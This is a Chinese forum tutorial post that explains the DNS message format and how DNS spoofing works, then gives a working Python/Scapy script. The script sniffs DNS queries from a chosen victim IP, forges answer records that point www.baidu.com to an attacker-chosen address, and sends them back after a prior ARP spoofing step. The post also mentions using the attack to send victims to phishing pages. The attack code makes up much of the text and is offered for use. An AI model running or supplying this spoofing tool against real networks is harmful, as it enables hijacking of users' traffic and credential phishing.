python脚本实现~DNS欺骗攻击

zhaorong · 发表于无线技术教程 2021-6-3 16:16:26


	DNS DNS即域名系统英文：Domain Name System 缩写：DNS 是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前对于每一级域名长度的限制是63个字符域名总长度则不能超过253个字符。 DNS协议 DNS协议即域名解析协议是用来将域名转换为IP地址。 DNS协议报文格式会话标识：是DNS报文的ID标识对于请求报文和其对应的应答报文这个字段是相同的通过它可以区分DNS应答报文是哪个请求的响应。标志：数量字段：Questions Answer RRs Authority RRs Additional RRs 各自表示后面的四个区域的数目 Questions表示查询问题区域节的数量 Answers表示回答区域的数量 Authoritative namesversers表示授权区域的数量 Additional recoreds表示附加区域的数量。 DNS欺骗原理冒充域名服务器或者修改dns响应包中的解析结果换成攻击者的IP地址这样的话就会指向攻击者ip地址如果我们写成一个钓鱼页面放入apache或者nignx上部署，我们可以修改指向钓鱼网页服务器的ip和端口进行欺骗钓鱼。 DNS欺骗实现首先欺骗者向目标机器发送构造好的ARP应答数据包 ARP欺骗成功后监听53端口的dns数据包筛选目标ip地址的dns数据包获取请求报文，删除部分参数，修改数据包中的源ip和目标ip，源端口和目标端口构造响应报文修改anwser包中的解析结果，换成攻击地址发送给被攻击者。代码实现 #!/usr/bin/env python # -- coding: utf-8 -- # @File : DNS_attack.py # @Author: Feng # @Date : 2020/11/18 # @Desc : trace from scapy.all import * import sys # dns包 = IP()/UDP()/DNS(id,qr,opcode,rd，qd=DNSQR(qnname=dns_name), verbose=False) id标识匹配请求与回应 qr 0表示查询报文 opcode 0表示标准查询 rd 1表示递归 def DNS_Spoof(data): try: # ip_fields = data.getlayer(IP).fields # udp_fields = data.getlayer(UDP).fields # dns_fields = data.getlayer(DNS).fields #print(ip_fields) #print(udp_fields) # print(dns_fields) req_domain = data[DNS].qd.qname print(str(req_domain).split("'")[1]) print(str(data[IP].src)) print(str(data[IP].src) == '192.168.31.135') print(str(req_domain) == 'www.baidu.com') if str(data[IP].src) == '192.168.31.135': #if str(req_domain).split("'")[1].find('baidu.com'): print(str(req_domain)) del (data[UDP].len) del (data[UDP].chksum) del (data[IP].len) del (data[IP].chksum) res = data.copy() res.FCfield = 2 res.src, res.dst = data.dst, data.src res[IP].src, res[IP].dst = data[IP].dst, data[IP].src res.sport, res.dport = data.dport, data.sport res[DNS].qr = 1 res[DNS].ra = 1 res[DNS].ancount = 1 res[DNS].an = DNSRR( rrname = req_domain, type = 'A', rclass = 'IN', ttl = 900, rdata = '220.220.220.220' ) sendp(res) else: print('不是目标主机') except Exception as e: print(e) def DNS_S(iface): sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface) if __name__ == '__main__': DNS_S('Realtek 8812BU Wireless LAN 802.11ac USB NIC') 复制代码以www.baidu.com解析为例，构造dns响应包，dns包 = IP()/UDP()/DNS(id,qr,opcode,rd qd=DNSQ R(qnname=dns_name), verbose=False) id标识匹配请求与回应 qr 0表示查询报文 opcode 0表示标准查询 rd1表示递归做一些筛选条件判断，用wireshark监听结果。 iface参数：指的是自己的无线网卡的name 目标机器是192.168.31.135,本机192.168.31.225网关 192.168.31.1 解析结果改为220.220.220.220首先run一下之前写的arp脚本进行arp欺骗攻击。然后进行dns欺骗攻击匹配到baidu的结果打印出来，wireshark中也抓取了icmp的ping包由于arp攻击造成被攻击者流量无响应后期可以用流量转发把流量包在转给目标主机形成一个循环! 展示一下攻击的结果百度被解析成了设定的结果

微信扫一扫 分享朋友圈

python脚本实现~DNS欺骗攻击

微信扫一扫分享朋友圈